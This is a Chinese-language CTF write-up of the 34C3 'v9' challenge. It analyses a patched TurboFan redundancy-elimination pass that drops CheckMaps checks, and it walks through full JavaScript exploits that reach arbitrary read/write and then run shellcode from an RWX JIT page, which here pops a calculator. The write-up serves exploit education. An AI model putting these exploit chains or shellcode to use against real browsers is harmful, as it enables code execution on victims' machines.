34C3 CTF: v9

TLDR: 消除冗余的时候把对map的检查也去掉了,没有考虑到像执行js code可以在两次检查之间修改map。利用这一点可以类型混淆。

太久没做浏览器的题目了,再来学习一个。v9这道题目源码在这里,是saelo大佬出的。

推荐的v8题目完成顺序:

  • *CTF 2019 oob
  • Plaid CTF 2018 roll a dice

前面的题目和JIT关系不大,而这道题目关系到很多JIT冗余消除的知识。很值得一做。

Basics

用到的一些基础知识。

参考资料:

调试的方法,如使用%DebugPrint和%SystemBreak可以参考之前的文章。先debugprint一下回忆一下js object的结构,以ArrayBuffer为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
DebugPrint: 0x3085c9e0ccb1: [JSArrayBuffer]
- map = 0x1f1cb4b82f71 [FastProperties]
- prototype = 0x2b558fd8b7b9
- elements = 0x92980702251 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store = 0x555a69870310
- byte_length = 32
- neuterable
- properties = 0x92980702251 <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
0x1f1cb4b82f71: [Map]
- type: JS_ARRAY_BUFFER_TYPE
- instance size: 80
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x929807022e1 <undefined>
- instance descriptors (own) #0: 0x92980702231 <FixedArray[2]>
- layout descriptor: (nil)
- prototype: 0x2b558fd8b7b9 <Object map = 0x1f1cb4b82fc1>
- constructor: 0x2b558fd8b609 <JSFunction ArrayBuffer (sfi = 0x92980733711)>
- dependent code: 0x92980702251 <FixedArray[0]>
- construction counter: 0

Nodes

v8中对表达式的表示,用到了nodes,edges,和next。

image-20200603180114498

这样表达式就可以按照图的形式组织起来。

image-20200603180202143

编译原理的感觉。

Reduce

为了加快js的运行速度,会对表达式的图进行化简操作,成为Reduce。这个功能应该是放在JIT优化的部分完成的。编程可以分成三个level:js的level,中间语言的level,最后的机器码的level,逐渐变快。Reduce除了可以消除死代码,常量传播,消除冗余等等,也可以将编程语言从js向机器码转变。

image-20200603180540438

image-20200603180605668

image-20200603180621032

等等,这些都是在进行Reduce操作。之后patch的代码涉及到reduce。reduce的目的在于简化图,自然少不了对其中nodes的检查,例如类型等等。

我们以v8最新的代码为例。Check是一个结构体:

1
2
3
4
5
6
private:
struct Check {
Check(Node* node, Check* next) : node(node), next(next) {}
Node* node;
Check* next;
};

可以看出是一个链表的结构。在做检查的时候会遍历这个check list。

Patch

搭建环境可以参考之前的文章,或者直接照着官方文档做均可。由于之前的环境有点问题我又重新在1804的新环境重新搞了一遍,今天的代理很给力,很快就脱下来源码编译好了。好用的代理真的很重要:)

这道题目可以参考2019的或者sakura等等大佬的WP都可。还有一个CTFTime上RPISEC写的利用脚本。以及出题人的脚本,其中包含了很多的解释说明。

先来看一下patch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
diff --git a/src/compiler/redundancy-elimination.cc b/src/compiler/redundancy-elimination.cc
index 3a40e8d..cb51acc 100644
--- a/src/compiler/redundancy-elimination.cc
+++ b/src/compiler/redundancy-elimination.cc
@@ -5,6 +5,8 @@
#include "src/compiler/redundancy-elimination.h"

#include "src/compiler/node-properties.h"
+#include "src/compiler/simplified-operator.h"
+#include "src/objects-inl.h"

namespace v8 {
namespace internal {
@@ -23,6 +25,7 @@ Reduction RedundancyElimination::Reduce(Node* node) {
case IrOpcode::kCheckHeapObject:
case IrOpcode::kCheckIf:
case IrOpcode::kCheckInternalizedString:
+ case IrOpcode::kCheckMaps:
case IrOpcode::kCheckNumber:
case IrOpcode::kCheckReceiver:
case IrOpcode::kCheckSmi:
@@ -129,6 +132,14 @@ bool IsCompatibleCheck(Node const* a, Node const* b) {
if (a->opcode() == IrOpcode::kCheckInternalizedString &&
b->opcode() == IrOpcode::kCheckString) {
// CheckInternalizedString(node) implies CheckString(node)
+ } else if (a->opcode() == IrOpcode::kCheckMaps &&
+ b->opcode() == IrOpcode::kCheckMaps) {
+ // CheckMaps are compatible if the first checks a subset of the second.
+ ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
+ ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
+ if (!b_maps.contains(a_maps)) {
+ return false;
+ }
} else {
return false;
}

map是用来表示对象类型的。这里加了一个IsCompatibleCheck,CheckMaps用来检查对象的map有没有变化,是否一致。找一下出现的位置:

1
2
3
4
5
➜  src git:(0ffdb062d3) ✗ grep -r "IsCompatibleCheck" ./            
./compiler/redundancy-elimination.cc:bool IsCompatibleCheck(Node const* a, Node const* b) {
./compiler/redundancy-elimination.cc: if (IsCompatibleCheck(check->node, node)) {
./compiler/load-elimination.cc:bool LoadEliminationIsCompatibleCheck(Node const* a, Node const* b) {
./compiler/load-elimination.cc: LoadEliminationIsCompatibleCheck(check, node)) {

Docker enviroment

看一下比赛的docker是咋写的:

image-20200603160103606

1
2
is_debug = false
symbol_level = 2

好吧原来是生成了chrome大概180 MB的大小,build docker的时候用DPKG安装了,最后CMD ["bash"]。编译的时候去掉符号了,带符号的话要5.2GB。WOW。

chrome的启动命令如下:

1
chromium-browser --headless --disable-gpu --no-sandbox --virtual-time-budget=60000 $URL

服务器的配置是2 cores and 8GB of RAM。具体起服务是用go起的。

下面来理顺一下调用关系。

Vuln

从patch的文件名来看,这个文件是用来处理消除冗余的。

整个patch的核心思想:JIT消除冗余的时候,把认为没用的check当作冗余去掉。什么样的check算没用呢?就是check的东西在之前已经check过了。

case kCheckMaps下面调用了ReduceCheckNode(node)。

image-20200603130517919

image-20200603130801464

调用了LookupCheck(node)

image-20200603130921866

这部分在正经的源码中是这样的:

image-20200603182044419CheckSubsumes功能:Does check {a} subsume check {b}?

1
2
3
>           // {a} subsumes {b} if the modes are either the same, or {a} checks
> // for Number, in which case {b} will be subsumed no matter what.
>

有点类似。

然后是IsCompatibleCheck(check->node, node),也就是patch中添加的函数。

image-20200603131108714

  • 在Reduce中,遇到kCheckMaps时,调用ReduceCheckNode

  • ReduceCheckNode为了找到最优的dominates,会遍历所有的check

  • 如果找到其他的CheckMap,检查是否“兼容“,会去查看它的map,如果第一个检查已经包含了第二个检查,就去掉

    (以上来自Sakura大佬的博客)

基本就是,如果判断符合IsCompatibleCheck,就会返回真,然后调用ReplaceWithValue(node, check),做替换。

举例来说,一个array对象,目前正在处理某一个对type的检查,如果之前对同一对象执行了“兼容”的检查,即type检查过了,就可以删除当前对type的检查。这显然是有问题的,因为JIT并不知道array在第一次检查之后有没有修改type。

一个简单的示意图:

compatible

攻击的思路也基本明了了。先创建一个float array或者double array之类,通过一些操作让JIT优化它,JIT第一次check满足后,我们修改其map为object array,由于之前已经check过type了所以不会再check,这个object array就可以拿来用了。这样其实就达到了fakeobj的效果,同样的,把object array改为double array,就可以达到addrof的效果。

至于如何让JIT优化它,只需要频繁使用它就好了,比如用个100000次等等。

好耶,还是经典的type confusion!

通过addrof和fakeobj,剩下的就是和之前的题目类似的操作了,例如通过backing store拿到任意地址读和任意地址写的元语,写wasm来getshell。目前整体思路还是很清晰的。

果然优化是不能随便乱搞的hhh

Exploit (First try)

TLDR: 这部分是一些杂记,看最终效果可以直接跳转到Exploit (Final)。

关于调试可以参考之前的文章

关于Turbofan的调试可以参考这篇文章,其中的--trace-turbo-reduction --trace-turbo可以追踪Turbofan的Reduce过程,试了一下输出很多,不过会生成一个json文件,之后可以慢慢学习一下。比如想看对于边界检查的部分可以加个grep bound之类的。

i2f & f2i

就是常规的整数和浮点数之间的转换。这个版本的d8不支持BigUint64Array,拆成两部分就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function gc(){
for(var i = 0; i < 1024 * 1024* 16; i++){
new String;
}
}

function f2i(f){
float64 = new Float64Array(1);
float64[0] = f;
int32 = new Uint32Array(float64.buffer);
return int32[1] * 0x100000000 + int32[0];
}


function i2f(i){
int32 = new Uint32Array(2);
int32[1] = i / 0x100000000;
int32[0] = i % 0x100000000;
float64 = new Float64Array(int32.buffer);
return float64[0];
}

function hex(i){
return '0x'+i.toString(16).padStart(16, '0');
}

console.log(hex(f2i(i2f(0x0123456776543210))));

输出应该是一样的。

addrof

首先我们完成泄露对象地址的部分。核心思想就是类型混淆。我们首先创建一个浮点型数组,其中的元素都是浮点型的数据。之后我们写一个函数,其功能为读取数组index=0位置的元素。我们循环调用该函数100000次,经过JIT优化,我们之后向index=0放入一个对象,该函数也会默认当作一个浮点型读取,这样就把该对象的地址按照浮点型数据的格式读取出来了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function bug(arr, callback){
var a = arr[0];
callback();
return arr[0];
}

arr0 = [1.1, 2.2, 3.3, 4.4];

function addrof(obj){
for(var i = 0; i < 100000; i++){
bug(arr0, function(){});
}
addr = bug(arr0, function(){
arr0[0] = obj;
});
return addr;
}

var o = {'a':1234};
%DebugPrint(o);
console.log(hex(f2i(addrof(o))));
%SystemBreak();

泄露出的地址:0x0000095bc3a83c31,用job命令查看一下:

1
2
3
4
5
6
7
8
pwndbg> job 0x0000095bc3a83c31
0x95bc3a83c31: [JS_OBJECT_TYPE]
- map = 0x1cef8fd0c611 [FastProperties]
- prototype = 0x3f6b410846a9
- elements = 0x7f928002251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0x7f928002251 <FixedArray[0]> {
#a: 1234 (data field 0)
}

说明泄露的是正确的。

这里有个迷惑的地方,DebugPrint的输出是(同一次运行)

1
2
3
4
5
6
7
8
> DebugPrint: 0x331f1670d2f9: [JS_OBJECT_TYPE]
> - map = 0x1cef8fd0c611 [FastProperties]
> - prototype = 0x3f6b410846a9
> - elements = 0x7f928002251 <FixedArray[0]> [HOLEY_ELEMENTS]
> - properties = 0x7f928002251 <FixedArray[0]> {
> #a: 1234 (data field 0)
> } ......
>

不知道这里的0x331f1670d2f9为啥不输出对象的地址。

fakeobj

接下来的思路是想要构造fakeobj。这样就可以控制backing store指针垃圾任意地址读写了。

在之后的调试过程中发现v8的object结构似乎喝之前调过的不太一样?有点迷惑。不过具体问题具体分析,重新用DebugPrint看一下具体的结构就可以了。感觉之前在做题的时候对具体的结构还是不是很熟悉,之后需要好好学习一下。

伪造一个ArrayBuffer需要的数据都有:

  • map 需要伪造,因为我们目前还无法泄露出某一个map结构的地址
    • prototype 在map中,需要伪造/泄露
    • constructor 在map中,需要伪造/泄露
  • elements 根据需要控制
  • length 根据需要控制
  • properties 未知

fake map

map的样子:

1
2
3
4
pwndbg> x/20gx 0x17dcecc82f71-1
0x17dcecc82f70: 0x000037d298d82251 // 也是一个map 0x001900c60f00000a // 标志位,固定
0x17dcecc82f80: 0x00000000082003ff // 标志位,固定 0x000036496078b7b9 // prototype
0x17dcecc82f90: 0x000036496078b609 // constructor 0x0000000000000000

伪造map主要是伪造prototype和constructor。可以通过类型混淆来读出来,或者通过.__proto__的方式来拿到地址。需要注意的是prototype和constructor的地址的相对偏移是固定的为0x1b0,所以只需要拿到一个就可以了。

在WP中这一步骤可能并不是必要的,我们现学习一下,再说结论。

1
2
3
4
5
6
7
8
var arr_leak = new ArrayBuffer(0x100);
%DebugPrint(arr_leak);
fake_proto = addrof(arr_leak.__proto__);
fake_const = fake_proto-0x1b0;
console.log(hex(fake_proto));
console.log(hex(fake_const));

%SystemBreak();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0x39e52d682f71: [Map]
- type: JS_ARRAY_BUFFER_TYPE
- instance size: 80
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x1620a71822e1 <undefined>
- instance descriptors (own) #0: 0x1620a7182231 <FixedArray[2]>
- layout descriptor: (nil)
- prototype: 0x22b2ec70b7b9 <Object map = 0x39e52d682fc1>
- constructor: 0x22b2ec70b609 <JSFunction ArrayBuffer (sfi = 0x1620a71b3711)>
- dependent code: 0x1620a7182251 <FixedArray[0]>
- construction counter: 0

0x000022b2ec70b7b9
0x000022b2ec70b609

有了这两个值之后我们就可以写一个map数组,并得到它的地址,用于fakeobj。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// gc();
// gc();

var fake_map = [
i2f(0x1122334411223344), // fake map
i2f(0x001900c60f00000a), // some flags
i2f(0x00000000082003ff), // some flags
i2f(fake_proto),
i2f(fake_const),
i2f(0)
];

fake_map_addr = addrof(fake_map)-0x1e3b6c7022d1+0x1e3b6c702d79+0x10;
console.log(hex(fake_map_addr));
// gc();
// gc();
%DebugPrint(fake_map);
%SystemBreak();
1
2
3
4
pwndbg> x/20gx 0x000022f050702d88
0x22f050702d88: 0x1122334411223300 0x001900c60f00000a
0x22f050702d98: 0x00000000082003ff 0x00002ee41b90b7b9
0x22f050702da8: 0x00002ee41b90b609 0x0000000000000000

通过数组对象找到elements,还需要计算elements最开始的map和length,所以加上0x10的偏移。

在WP中建议前后加上两次gc(),这样让fake_map数组在old space中,这样偏移比较固定。

fake ArrayBuffer

有了map之后,我们就可以构造fake ArrayBuffer了。我们先看一下ArrayBuffer的结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
DebugPrint: 0xbdcd247d999: [JSArrayBuffer]
- map = 0x29cf11882f71 [FastProperties]
- prototype = 0x274cfe80b7b9
- elements = 0x12fcc4b02251 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store = 0x559ca419f3a0
- byte_length = 32
- neuterable
- properties = 0x12fcc4b02251 <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
......
pwndbg> x/20gx 0xbdcd247d999-1
0xbdcd247d998: 0x000029cf11882f71 (Map) 0x000012fcc4b02251 (properties)
0xbdcd247d9a8: 0x000012fcc4b02251 (elements) 0x0000002000000000 (length)
0xbdcd247d9b8: 0x0000559ca419f3a0 (backing store) 0x0000559ca419f3a0
0xbdcd247d9c8: 0x0000000000000020 0x0000000000000004
0xbdcd247d9d8: 0x0000000000000000 0x0000000000000000

最开始的map是我们已经可以fake的了。后面紧接着的两个8字节(应该是elements和properties)根据WP可以随意填充。应该只要可读可写的地址即可。

这里的elements指针怎么感觉可以用来任意地址读

然后是length。之后是Backing Store指针,这个是比较重要的位置。一个ArrayBuffer可以通过DataView去操作backing store指针指向的内存,这也是我们达到任意地址读写的方法。再之后的值暂先不管。

同样的方法,我们也是创建一个数组,把该有的组件都放进去,然后泄露地址,通过偏移拿到fake arraybuffer的地址。

1
2
3
4
5
6
7
8
9
10
fake_arraybuffer = [
i2f(fake_map_addr), // map
i2f(fake_map_addr),
i2f(fake_map_addr),
i2f(0x0000100000000000), // length = 0x1000
i2f(0xbbbbbbbb00000000), // backing store
i2f(0xdeadbeefdeadbeef)
];

fake_arraybuffer_addr = addrof(fake_arraybuffer)+0x238;

现在我们有了fake的arraybuffer的地址,下面要干的事情就是把它当作一个object进行操作。这就继续用到了类型混淆的方法。我们用同样的原理来改写一下addrof就可以了。

u1s1好像不是很好写?拍脑门的想法,一个都是object的数组,循环100000次返回arr[0],然后向arr[0]写入构造好的地址,这样应该就能当作对象返回了。实测还是不可,已经是个number类型。

试了一段时间,一直没有成功地完成fakeobj。卡住的地方主要有两个:

  • 用一个泄露出的object的地址来尝试fakeobj,并没有成功
  • 之前算出来的fake array buffer的地址并不稳定,加上gc似乎也没有变化
  • 尝试debug print 用fake array buffer的data view直接崩溃,报段错误

之后再填坑,争取把这个路子整完。

itszn’s exploit

RPISEC的WP看起来非常的简洁,其中并没有我想象的addrof、fakeobj等原语。@itszn小姐姐也是很棒,帮着解答了很多exploit中没看懂的问题,在YouTube上也可以看到小姐姐关于浏览器沙箱逃逸的演讲,很强的大佬了👏。addrof + fakeobj可能是更realword的解法,实现起来可能更加稳定,但是工作量要大一些。但是毕竟是一道CTF题目,并不一定要求稳定利用,使用她的方法可以更快速地解出题目。实际运行exp可以发现也蛮reliable的。

itszn的脚本中的核心思想是,JIT优化的function对象中的又一个JIT页面内的地址,ArrayBuffer中的backing store地址如果可以被写入这个JIT页面的地址的话,就可以写入shellcode来执行了。在我们之前的利用中也用了类似的技术:改写wasm的JIT页面内的代码。所以以后就算做不支持wasm的浏览器题目也可以用类似的方法来执行shellcode。

Job function的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0x2000e0194ab1: [Function] in OldSpace
- map = 0x118f885024d1 [FastProperties]
- prototype = 0x2000e0184669
- elements = 0x141e26e02251 <FixedArray[0]> [HOLEY_ELEMENTS]
- initial_map =
- shared_info = 0x1074bd5c38b1 <SharedFunctionInfo b>
- name = 0x141e26e078b1 <String[1]: b>
- formal_parameter_count = 1
- kind = [ NormalFunction ]
- context = 0x2000e0183d91 <FixedArray[281]>
- code = 0x3ffcaff22f01 <Code BUILTIN> <=========== JIT page here
- interpreted
- bytecode = 0x141e26e22ae9
- source code = (x) {
return x + 1;
}
- properties = 0x141e26e02251 <FixedArray[0]> {
#length: 0x141e26e7db19 <AccessorInfo> (const accessor descriptor)
#name: 0x141e26e7db89 <AccessorInfo> (const accessor descriptor)
#arguments: 0x141e26e7dbf9 <AccessorInfo> (const accessor descriptor)
#caller: 0x141e26e7dc69 <AccessorInfo> (const accessor descriptor)
#prototype: 0x141e26e7dcd9 <AccessorInfo> (const accessor descriptor)
}

- feedback vector: 0x141e26e22b71: [FeedbackVector] in OldSpace
- length: 1
SharedFunctionInfo: 0x1074bd5c38b1 <SharedFunctionInfo b>
Optimized Code: 0
Invocation Count: 4
Profiler Ticks: 0
Slot #0 BinaryOp MONOMORPHIC
[0]: 1

其中的Code BUILTIN就是一个JIT页面的内的地址,有rwx的权限,可以用来保存shellcode:

1
2
3
pwndbg> vmmap 0x3ffcaff22f01
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x3ffcaff04000 0x3ffcaff7f000 rwxp 7b000 0

攻击的时候将Array x做了这样的一个赋值:x[100000] = 1,将x转化为HashTable的形式。之后创建了大量的typed array,以及一个JIT优化的function,通过x找到typed array的backing store在x中的下标,以及function的code下标,做了一个赋值。之后向该typed array写入shellcode,其实此时就是在向JIT页面写入shellcode,最后调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }

function f2i(f){
float64 = new Float64Array(1);
float64[0] = f;
int32 = new Uint32Array(float64.buffer);
return int32[1] * 0x100000000 + int32[0];
}

function i2f(i){
int32 = new Uint32Array(2);
int32[1] = i / 0x100000000;
int32[0] = i % 0x100000000;
float64 = new Float64Array(int32.buffer);
return float64[0];
}

function hex(i){
return '0x'+i.toString(16).padStart(16, '0');
}

var sc = [];
for (var i=0; i<0x480; i++) {
sc.push(0x90);
}
sc = sc.concat([0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0xb8, 0x2f, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x00, 0x50, 0x48, 0xb8, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x50, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xc0, 0x50, 0x57, 0x48, 0x89, 0xe6, 0x48, 0x31, 0xd2, 0x48, 0xc7, 0xc0, 0x3a, 0x30, 0x00, 0x00, 0x50, 0x48, 0xb8, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x50, 0x48, 0x89, 0xe2, 0x48, 0x31, 0xc0, 0x50, 0x52, 0x48, 0x89, 0xe2, 0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x00])

/*
The new optimization added to the challenge made it so that the turbofan jit redundancy eliminator
would optimize array map checks similar to how it does string checks:
If a previous `compatible` check was applied to the same object then it is safe to remove this check.

However this is flawed, because the compatibility check cannot tell if the array's mapping type has changed
between the first check and the second.

To abuse this, we want to create a jit optimized for packed 64bit float and then change the array map type
between uses of the array. The jit will assume it is still packed, causing a type confusion leading to oob
read/write.
*/

function bug(x,cb, i,j) {
// The check is added here, if it is a packed type as expected it passes
var a = x[0];
// Hit our call back, change type
cb();
// Access data as the wrong type of map

// Write one offset into the other
var c = x[i]; // x[i] = x[j]
x[j] = c;

return c; // return x[i]
}

var v = Array(1000);

var x = Array();
x.push(2.1);
x.push(2.1);

var gab = new ArrayBuffer(0x534)

gc();
gc();

function opttest() {
// call in a loop to trigger optimization
for (var i = 0; i < 100000; i++) {
var o = bug(x,function(){}, 1,1);
}
}

opttest();

bug(x,function(){}, 1,1); // this seems make the exp more stable

/*
To exploit this bug, we will get oob read/write to the heap.
Then we will overwrite a Uint8Array's backing store pointer with
the pointer to a jitted function object.

We can then write shellcode to the jit page and execute it.
*/
console.log("Triggering");
x = bug(x,function() {

//Make array map a dict type (hashmap)
x[100000]=1; // FixedArray => HashTable

for (var i=0; i<1000; i++) {
// Set up a heap groom with typed arrays and a jited function
if (i != 1) {
var a = new Uint8Array(gab);
v[i]=a;
} else {
var b = function(x) {
return x + 1;
};
b(1);
b(1);
b(1);
b(1);
v[i] = b;
}
}
v[0] = 682174890<<1; // not useful, just to for easy debugging

gc(); // important to exploit!!!
gc(); // important to exploit!!!
},
27, // Jitpage offset // rwx!!! function b->Code BUILTIN
40, // Typed array buffer offset
);

var fi = -1;
for(var i=2; i<v.length; i++) {
if (v[i][0] != 0) {
fi = i;
break;
}
}
if (fi != -1) {
console.log("Found jitpage");
v[fi].set(sc);
console.log("Calling jit");
}
console.log("EXPLOIT FAILED");

另外原来的exp中应该是反弹shell的shellcode,这里替换为弹计算器的了。

Samuel Groß‘s exploit

还是出题人的说法更一针见血:消除冗余的时候把对map的检查也去掉了。这没有考虑到像执行js code可以在两次检查之间修改map。利用这一点可以达到类型混淆。正确的做法是在load elimination阶段干这个事。

为什么要做gc?目的在于把对象移动到old space,这样更稳定。

第一个原语:泄露一个HeapObject的地址。方法和我们之前的操作一样:实现一个JIT优化的代码,功能是读取double,然后放一个object进去读,读出来的就是地址了。不过需要注意的是我们放入object之后这个map改变是永久的,所以相当于一次性的功能。要想接着用需要“重新编译”。或者像之前的做法放局部变量里应该也可以。

第二个原语:覆盖一个对象的properties指针。方法为实现JIT优化的代码,功能是给一个对象的属性赋值为一个Mutadle HeapNumber,然后在callback中把属性改为对象类型,再次对该属性赋值。callback前该属性指向(Map*, double),改为对象后指向(Map*, properties*, elements*, ...),由于位置相同,这样改double就相当于改properties。

mhn

关于这部分的知识可以在这里补充,如Smi vs. HeapNumber vs. MutableHeapNumber

之后的目标是任意地址读写:两次利用。首先泄露出一个一个ArrayBuffer的地址,然后把一个对象的properties覆盖为ArrayBuffer的地址,之后通过给该对象的属性赋值就可以覆盖ArrayBuffer的backing store,然后使用此ArrayBuffer来控制另一个ArrayBuffer的backing store,这样就可以任意地址读写了。

之后生成一个JIT function,拿到其中的JIT页面的地址,写入shellcode执行。

这exp真是赏心悦目 : D 无论是步骤还是命名都一目了然 i了i了

Exploit (Final)

addrof

原理差不多。写成函数的形式就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function fk(o, cb){
var t = o.q; // first map check
cb(); // change map
return o.p; // still use old map
}
var o = {p:2.2, q:1.1}; // 现在属性保存的是一个数
for(i = 0; i < 100000; i++){ // JIT优化
fk(o, function(){});
}
var oo = new ArrayBuffer(0x100);
var r = fk(o, function(){
o.p = oo; // 在callback中改成了一个对象,但是return取o.p的时候依旧当作数来取,泄露地址
});
console.log(r);

fake_properties

对象的结构是(Map*, properties*, elements*, ...),Mutable HeapNumber的结构是(Map*, double),经过类型混淆之后,把object当作Mutable HeapNumber来操作,由于位置相同对double的改动就是对properties的改动。

为了让赋值的类型是Mutable HeapNumber,只要不在Smi范围内即可。用Mutable HeapNumber是利用该结构体位置不会变动,只是改变double的值。如果是HeapNumber的话,每次改变值都使用新的内存,就无法利用了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function hijack_properties(obj, val){
function bug(o, callback){
var a = o.c;
callback();
o.d = val;
}
var o = {c:1};
o.d = 1.1; // use Mutable Heap Number
for(var i = 0; i < 100000; i++){
bug(o, function(){});
}
bug(o, function(){
o.d = obj;
});

}

gc();
gc();

var o = {ctf:666};
hijack_properties(o, i2f(0x41414141));

%DebugPrint(o);
%SystemBreak();
1
2
3
4
5
6
7
DebugPrint: 0x1810c64022f9: [JS_OBJECT_TYPE]
- map = 0x31ad8fa0c611 [FastProperties]
- prototype = 0xfe8cc1846a9
- elements = 0x2e1a79282251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = {
#ctf: 666 (data field 0)
}
1
2
3
pwndbg> x/20gx 0x1810c64022f9-1
0x1810c64022f8: 0x000031ad8fa0c611 0x0000000041414141
0x1810c6402308: 0x00002e1a79282251 0x0000029a00000000

看到properties不显示地址就知道差不多成功了。

arbitrary read/write

任意地址读写的功能靠控制一个ArrayBuffer的backing store pointer实现。

bs

以图中代码为例,如果我们将victim对象的properties指针覆盖为一个ArrayBuffer的地址,那么victim.offset_16的位置正好是该ArrayBuffer的backing store指针的位置,通过控制victim.offset_16的值就可以控制ArrayBuffer的backing store指针。

Backing store指针指向一块内存,该内存需要通过typed array来进行读写操作。例如以Uint8、Uint32等格式来读写等。

理论上我们现在应该可以控制pp_buf的backing store的值了,这样用pp_buf创建一个typed array就可以任意地址读写了。但是实际发现不可以,并不能直接给这里的backing store赋值。原因还未知。

为了能够彻底控制backing store,我们又用了另一个ArrayBuffer,将其赋值给backing store。

mmb

这样我们给pp_buf创建一个typed array,就可以读写mm_buf的内存。这样就可以控制mm_buf的backing store。再给mm_buf创建一个typed array,就可以任意地址读写了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
var pp_buf = new ArrayBuffer(1024);
var mv_buf = new ArrayBuffer(1024);

gc();
gc();

var pp_buf_addr = addrof(pp_buf);

var victim = {a:1};
victim.of_0 = {};
victim.of_8 = {};
victim.of_16 = {}; // backing store pointer

hijack_properties(victim, pp_buf_addr);

victim.of_16 = mv_buf;

var driver = new Uint8Array(pp_buf);

function i2b(num){
a = num;
bytes = [];
index = 0;
for(var i = 0; i < 8; i++){
l = a % 0x100;
if(l != 0){
bytes[index] = l;
index ++;
a = parseInt(a / 0x100);
}
else{
break;
}
}
return bytes;
}

/*
arbitrary write
addr: Int
data: []
*/
function arb_write(addr, data){
driver.set(i2b(addr), 31);
var memview = new Uint8Array(mv_buf);
memview.set(data);
}

/*
arbitrary read 8 bytes
addr: Int
return: []
*/
function arb_read(addr){
driver.set(i2b(addr), 31);
var memview = new Uint8Array(mv_buf);
return memview.subarray(0, 8);
}

注意i2b有个小问题:最多只能转换7个字节长的数,超过了就不行了。不过覆盖backing store是够用了。

excute shellcode

有了任意地址读写,剩下的事情就好办了。生成一个JIT function,算出code地址,以及存放汇编代码的地址,写入shellcode执行即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function jit_func(x){
return x * x - 2 * x + 1;
}

for(var i = 0; i < 10000; i++){
jit_func(1);
}

function b2i(bytes){
var value = 0;
for(var i = 0; i < 8; i++){
value = value * 0x100 + bytes[7-i];
}
return value;
}

var jit_page_at = f2i(addrof(jit_func))-1+0x38;
var jit_page_addr = b2i(arb_read(jit_page_at));
console.log('[*] Found JIT page @ '+hex(jit_page_addr));

var sc_addr = jit_page_addr + 95;
console.log('[*] Shellcode @ '+hex(sc_addr));

var shellcode = [0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0xb8, 0x2f, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x00, 0x50, 0x48, 0xb8, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x50, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xc0, 0x50, 0x57, 0x48, 0x89, 0xe6, 0x48, 0x31, 0xd2, 0x48, 0xc7, 0xc0, 0x3a, 0x30, 0x00, 0x00, 0x50, 0x48, 0xb8, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x50, 0x48, 0x89, 0xe2, 0x48, 0x31, 0xc0, 0x50, 0x52, 0x48, 0x89, 0xe2, 0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x00];
arb_write(sc_addr, shellcode);

jit_func();

pop calculator!

image-20200610151039465

想尝试完整的题目环境的话,感觉没必要装那个docker环境,直接装安装包就行了。

full exploit script

可在这里下载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
